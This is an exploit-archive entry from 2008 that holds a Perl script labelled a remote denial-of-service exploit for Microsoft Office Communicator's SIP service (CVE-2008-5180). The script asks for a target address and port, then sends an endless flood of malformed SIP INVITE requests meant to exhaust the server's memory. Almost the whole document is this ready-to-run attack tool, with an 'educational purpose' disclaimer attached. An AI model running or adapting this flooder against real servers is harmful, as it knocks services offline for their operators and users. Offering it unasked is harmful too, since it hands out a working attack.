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msoffice-dos.txt

msoffice-dos.txt
Posted Nov 29, 2008
Authored by Praveen Darshanam

Microsoft Office Communicator (SIP) remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | 20c5540fef0f114978ee3c78f76467ef8fce04965ef9dc20056bebf7e07a1aa2

msoffice-dos.txt

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#!usr/bin/perl -w

################################################################################################################
# Microsoft Communicator allows remote attackers to cause a denial of service (memory consumption) via
# a large number of SIP INVITE requests, which trigger the creation of many sessions.
#
# Refer:
# http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5180
# http://xforce.iss.net/xforce/xfdb/46673
#
#
# To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
# (say #!C:/Program Files/Perl/bin/perl -w)
#
# This was strictly written for educational purpose. Use it at your own risk.
# Author will not bare any responsibility for any damages watsoever.
#
# Author: Praveen Darshanam
# Email: praveen[underscore]recker[at]sify.com
# Date: 27th November, 2008
#
# NOTE: Thanks to all my colleagues at iPolicy Networks for making this possible.
# For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################


use IO::Socket;

print("\nEnter IP Address of Vulnerable MS Communicator Server: \n");
$vuln_host_ip = <STDIN>;

############################################################
#default port on which SIP works is UDP 5060
#go thru http://technet.microsoft.com/en-us/library/bb963969.aspx for default ports
###################

print("\nEnter UDP port for MS Communicator Server: \n");
$port = <STDIN>;

$sock_sip = IO::Socket::INET->new( PeerAddr => $vuln_host_ip,
PeerPort => $port,
Proto => 'udp') || "Unable to create Socket";
#if the server is configured on TCP replace 'udp' with 'tcp'.

while(1)
{
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n";


#kill by pressing Ctrl+c to stop flood of packets
}

#program never comes here for execution
close($sock_sip);

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